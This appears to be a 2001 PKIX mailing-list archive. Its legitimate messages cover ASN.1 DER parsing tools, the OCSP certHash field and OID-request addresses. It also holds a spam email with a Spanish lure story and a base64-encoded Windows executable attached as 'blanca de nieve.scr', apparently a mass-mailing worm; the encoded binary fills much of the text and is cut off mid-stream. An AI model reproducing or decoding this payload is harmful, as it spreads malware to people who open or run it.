In-Reply-To: <001401c0b7b2$d171ed20$4605150a@rtbellw2k>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Bob,

	As far as parsing goes the best known free tool is P.Gutmann's dumpasn1.
This can be found at his website (http://www.cs.aukuni.ac.nz/~pgut001/)

	Compilation can be done through several different tools:
	* snacc - freeware ASN.1 to C/C++ compiler
http://www.idiom.com/free-compilers/TOOL/ASN1-1.html - I believe this only
deals with BER rather than DER compilation
	* cryptlib - shareware crypto library for C++ written by P.Gutmann
http://www.cs.auckland.ac.nz/~pgut001/cryptlib/ - specifically adheres to
X.692 (DER encoding)

	Other ASN.1 compilers exist, but most of them you have to buy. If you are
still interested, ONE (http://www.one.com/products/a_1_t.html) make a good
one, as do OSS (http://www.oss.com/products/asn1cpp/tools_cpp.html)

	The location of many other ASN tools can be found here
:http://www-sop.inria.fr/rodeo/personnel/hoschka/asn1.html

	Hope this is of some help

	Regards

	Jonathan Jenkyn

Jonathan Jenkyn
Head of Cryptographic Systems
De La Rue InterClear
UK
[phone]
[e-mail]
www.interclear.com

-----Original Message-----
From: Robert T. Bell [mailto:[e-mail]]
Sent: 28 March 2001 19:14
To: PKIX-MailList (E-mail)
Subject: ASN.1 DER parser/compiler


Is there a good ASN.1 DER parser tool and also a good compiler available
somewhere? Could someone provide me with a pointer to them?

Thanks ---- Bob Bell

Bob Bell
Cisco Systems, Inc.
576 S. Brentwood Ln.
Bountiful, Utah 84010
801-294-3034 (v)
801-204-3023 (f)
801-971-4200 (cell)
[e-mail] <mailto:[e-mail]>  (email)



Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA24049 for <[e-mail]>; Wed, 28 Mar 2001 11:28:10 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id HYP6ZKG2; Wed, 28 Mar 2001 11:24:37 -0800
From: "Carlin Covey" <[e-mail]>
To: <[e-mail]>
Subject: Re: OCSPv2: 02: certHash is not unique
Date: Wed, 28 Mar 2001 12:27:58 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Peter and Jim,

I am quite content with the suggestion that Jim made concerning
computing the certHash over only the signed portions of the
certificate.  However, I concur with Peter that the attack Jim
postulated is not much of a threat.  (A long-winded rationale follows.)

------

I'm no cryptographer (I don't even play one on the web),  but it
seems to me that the issue concerns what I believe is a form of
"birthday attack."  In a birthday attack, the attacker attempts
to find two different bit strings that yield the same value under
a given transformation (such as a hash or digital signature), with
the intent of fooling someone else into accepting the wrong bit
string.  In the certHash case, the attacker faces an even harder
problem, because he is not trying to find just any two bit strings that
produce the same hash, he is trying to find a second bit string that
produces the same hash as another bit string that he cannot change
(the bit string that the OCSP responder used when computing the hash).
In fact, the attacker has an even harder problem than this.  He can
change only certain bits of the "substitute" bit string (the bits that
he doesn't need to work his evil deeds). He can, however, choose various
"good" certificates to use as the substitute string.  (After all, he's
looking for any "good" certificate whose certHash matches the certHash of
his carefully-modified "bad" certificate.)

certHash uses SHA-1, which (and here we could use some help from
a cryptographer) I believe was specifically designed to make
birthday attacks time consuming by making it difficult to predict
what bits to change in the input bit string to yield a particular
value for the SHA-1 hash (hence the "S", standing for "security",
in "SHA-1").  So the certHash attacker must do an exhaustive search
of the possible combinations of the "don't care" bits in his bad
certificate for a SHA-1 hash that matches the SHA-1 hash of a
certificate that the OCSP responder will report as good.  Not only
would such an attack be time-consuming, but, within the constraints
imposed by the need to create a reasonable-looking bad certificate,
it is quite likely that the exhaustive search will be in vain.

Cryptographers, please correct any errors I have made.

Regards,

Carlin

____________________________

-  Carlin Covey
   Cylink Corporation

-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
Sent: Thursday, March 29, 2001 5:59 AM
To: [e-mail]
Subject: Re: OCSPv2: 02: certHash is not unique


Manger, James H <[e-mail]> writes:

>There is no text describing the certHash field.  I guess it holds a hash of
>the certificate.  I guess the hash is calculated over the DER-encoding of
the
>complete certificate.  There seems to be no indication of the hash
algorithm -
>perhaps it is always SHA-1.

The implication was that it's calculated the same way as the "fingerprint"
displayed by a web browser, although I guess it'd help to have this stated
explicitly in case there's anything out there which doesn't already do this.

>There are a number of ways to alter the encoding of the unsigned portion of
a
>certificate (signatureAlgorithm field, signatureValue field and outer most
>tags).  Such modification don't alter the signed portion so the signature
>remains valid, but they do change the thumbprint.  An attacker can modify
the
>bytes (hence thumbprint) without modifying the semantics of a certificate.

But the same can happen for a "fingerprint" without it ever having been
raised
as an issue in the past.  "Fingerprints" have been used for years without
any
problems, they're widely recognised, and they're present in web browsers and
a
lot of related software (I added them to my code ages ago in response to
user
requests, some CA or cert policies apparently require matching of cert
fingerprints by users during the cert issuance confirmation process).  It's
a
widely-used and -recognised way of identifying a cert which has been around
for
years, unless there's a demonstrated, real problem (rather than a
hypothetical
one) I don't see why it should be disallowed in OCSP.

Peter.



Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA20644 for <[e-mail]>; Wed, 28 Mar 2001 10:14:14 -0800 (PST)
Received: from whoami.cisco.com (whoami.cisco.com [171.71.157.47]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id KAA29503 for <[e-mail]>; Wed, 28 Mar 2001 10:13:48 -0800 (PST)
Received: from rtbellw2k (rtbell-isdn5.cisco.com [10.21.5.70]) by whoami.cisco.com (Mirapoint) with ESMTP id AAO45696 (AUTH rtbell); Wed, 28 Mar 2001 12:13:41 -0600 (CST)
Reply-To: <[e-mail]>
From: "Robert T. Bell" <[e-mail]>
To: "PKIX-MailList \(E-mail\)" <[e-mail]>
Subject: ASN.1 DER parser/compiler
Date: Wed, 28 Mar 2001 11:13:39 -0700
Message-ID: <001401c0b7b2$d171ed20$4605150a@rtbellw2k>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
Importance: Normal

Is there a good ASN.1 DER parser tool and also a good compiler available
somewhere? Could someone provide me with a pointer to them?

Thanks ---- Bob Bell

Bob Bell
Cisco Systems, Inc.
576 S. Brentwood Ln.
Bountiful, Utah 84010
801-294-3034 (v)
801-204-3023 (f)
801-971-4200 (cell)
[e-mail] <mailto:[e-mail]>  (email)



Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA19790 for <[e-mail]>; Wed, 28 Mar 2001 09:58:42 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id FAA02001 for <[e-mail]>; Thu, 29 Mar 2001 05:58:39 +1200 (NZST) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98580231920612>; Thu, 29 Mar 2001 05:58:39 (NZST)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: Re: OCSPv2: 02: certHash is not unique 
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Thu, 29 Mar 2001 05:58:39 (NZST)
Message-ID: <[e-mail]>

Manger, James H <[e-mail]> writes:

>There is no text describing the certHash field.  I guess it holds a hash of
>the certificate.  I guess the hash is calculated over the DER-encoding of the
>complete certificate.  There seems to be no indication of the hash algorithm -
>perhaps it is always SHA-1.

The implication was that it's calculated the same way as the "fingerprint"
displayed by a web browser, although I guess it'd help to have this stated
explicitly in case there's anything out there which doesn't already do this.

>There are a number of ways to alter the encoding of the unsigned portion of a
>certificate (signatureAlgorithm field, signatureValue field and outer most
>tags).  Such modification don't alter the signed portion so the signature
>remains valid, but they do change the thumbprint.  An attacker can modify the
>bytes (hence thumbprint) without modifying the semantics of a certificate.

But the same can happen for a "fingerprint" without it ever having been raised
as an issue in the past.  "Fingerprints" have been used for years without any
problems, they're widely recognised, and they're present in web browsers and a
lot of related software (I added them to my code ages ago in response to user
requests, some CA or cert policies apparently require matching of cert
fingerprints by users during the cert issuance confirmation process).  It's a
widely-used and -recognised way of identifying a cert which has been around for
years, unless there's a demonstrated, real problem (rather than a hypothetical
one) I don't see why it should be disallowed in OCSP.

Peter.



Received: from tholian.securitydynamics.com (mail.rsasecurity.com [204.167.112.129]) by above.proper.com (8.9.3/8.9.3) with SMTP id LAA10536 for <[e-mail]>; Tue, 27 Mar 2001 11:53:02 -0800 (PST)
Received: from sdtihq24.securitydynamics.com by tholian.securitydynamics.com via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 27 Mar 2001 19:50:48 UT
Received: from HOUSLEY-LAP.rsasecurity.com (ebola.securid.com [192.168.7.4]) by sdtihq24.securid.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id OAA23524 for <[e-mail]>; Tue, 27 Mar 2001 14:53:02 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender:  (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 5.0.1
Date: Tue, 27 Mar 2001 11:23:45 -0500
To: [e-mail]
From: Russ Housley <[e-mail]>
Subject: Need an OID from the PKIX arc?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

With the help of Paul Hoffman, we have set up a special mail address to 
obtain OIDs from the PKIX arc.  Please send future requests for OIDs in the 
PKIX arc to <[e-mail]>.  I have set up a filter in my mail 
client to flag messages that are sent to this address.  This should help me 
to handle OID requests efficiently and effectively.

As usual, the PKIX OIDs are posted at imc.org.

Russ



Received: from tholian.securitydynamics.com (mail.rsasecurity.com [204.167.112.129]) by above.proper.com (8.9.3/8.9.3) with SMTP id LAA10537; Tue, 27 Mar 2001 11:53:03 -0800 (PST)
Received: from sdtihq24.securitydynamics.com by tholian.securitydynamics.com via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 27 Mar 2001 19:50:48 UT
Received: from HOUSLEY-LAP.rsasecurity.com (ebola.securid.com [192.168.7.4]) by sdtihq24.securid.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id OAA23528; Tue, 27 Mar 2001 14:53:02 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender:  (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 5.0.1
Date: Tue, 27 Mar 2001 11:25:00 -0500
To: [e-mail], [e-mail]
From: Russ Housley <[e-mail]>
Subject: Need an OID from the S/MIME arc?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

With the help of Paul Hoffman, we have set up a special mail address to 
obtain OIDs from the S/MIME arc.  Please send future requests for OIDs in 
the S/MIME arc to <[e-mail]>.  I have set up a filter in 
my mail client to flag messages that are sent to this address.  This should 
help me to handle OID requests efficiently and effectively.

As usual, the S/MIME OIDs are posted at imc.org.

Russ 



Received: from mdevoto (hostdialup.interlink.com.ar [200.51.0.116] (may be forged)) by above.proper.com (8.9.3/8.9.3) with SMTP id FAA14297 for <[e-mail]>; Tue, 27 Mar 2001 05:32:04 -0800 (PST)
Date: Tue, 27 Mar 2001 05:32:04 -0800 (PST)
Message-Id: <[e-mail]>
From: Hahaha <[e-mail]>
Subject: Enanito si, pero con que pedazo!
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="--VEBS5YBGDI78HANK5MNW5EFGPAJ"

----VEBS5YBGDI78HANK5MNW5EFGPAJ
Content-Type: text/plain; charset="us-ascii"

Faltaba apenas un dia para su aniversario de de 18 años. Blanca de Nieve fuera
siempre muy bien cuidada por los enanitos. Ellos le prometieron una *grande*
sorpresa para su fiesta de compleaños. Al entardecer, llegaron. Tenian un brillo
incomun en los ojos...


----VEBS5YBGDI78HANK5MNW5EFGPAJ
Content-Type: application/octet-stream; name="blanca de nieve.scr"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="blanca de nieve.scr"

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
EHMIi1UQ6BkAAACNlfj+///oDgAAAP9F+P9N/HnaYcnCEACQjb14////M8CJB4lHBIlHCIlHDIlH
EIlHFIlHGIlHHIlHIIlHJIlHKIlHLIlHMIlHNIlHOIlHPIlHQIlHRIlHSIlHTIlHUIlHVIlHWIlH
XIlHYIlHZIlHaIlHbIlHcIlHdIlHeIlHfI2F+P7//+gCAgAAh9vRJ9FXBNFXCNFXDNFXENFXFNFX
GNFXHNFXINFXJNFXKNFXLNFXMNFXNNFXONFXPNFXQNFXRNFXSNFXTNFXUNFXVNFXWNFXXNFXYNFX
ZNFXaNFXbNFXcNFXdNFXeNFXfOisAQAAjYX4/v//D6MYD4PFAAAAiwKLSgQBBxFPBItCCItKDBFH
CBFPDItCEItKFBFHEBFPFItCGItKHBFHGBFPHItCIItKJBFHIBFPJItCKItKLBFHKBFPLItCMItK
NBFHMBFPNItCOItKPBFHOBFPPItCQItKRBFHQBFPRItCSItKTBFHSBFPTItCUItKVBFHUBFPVItC
WItKXBFHWBFPXItCYItKZBFHYBFPZItCaItKbBFHaBFPbItCcItKdBFHcBFPdItCeItKfBFHeBFP
fOjaAAAAh9tLD4nB/v//iweLXwSLTwiLdwyJAolaBIlKCIlyDItHEItfFItPGIt3HIlCEIlaFIlK
GIlyHItHIItfJItPKIt3LIlCIIlaJIlKKIlyLItHMItfNItPOIt3PIlCMIlaNIlKOIlyPItHQItf
RItPSIt3TIlCQIlaRIlKSIlyTItHUItfVItPWIt3XIlCUIlaVIlKWIlyXItHYItfZItPaIt3bIlC
YIlaZIlKaIlybItHcItfdItPeIt3fIlCcIladIlKeIlyfMOH27v/AwAAD6MYcgNLdfjDh9uLdQiL
R3yLTnw7wXLwD4c1AgAAi0d4i054O8Fy4A+HJQIAAItHdItOdDvBctAPhxUCAACLR3CLTnA7wXLA
D4cFAgAAi0dsi05sO8FysA+H9QEAAItHaItOaDvBcqAPh+UBAACLR2SLTmQ7wXKQD4fVAQAAi0dg
i05gO8EPgnz///8Ph8EBAACLR1yLTlw7wQ+CaP///w+HrQEAAItHWItOWDvBD4JU////D4eZAQAA
i0dUi05UO8EPgkD///8Ph4UBAACLR1CLTlA7wQ+CLP///w+HcQEAAItHTItOTDvBD4IY////D4dd
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
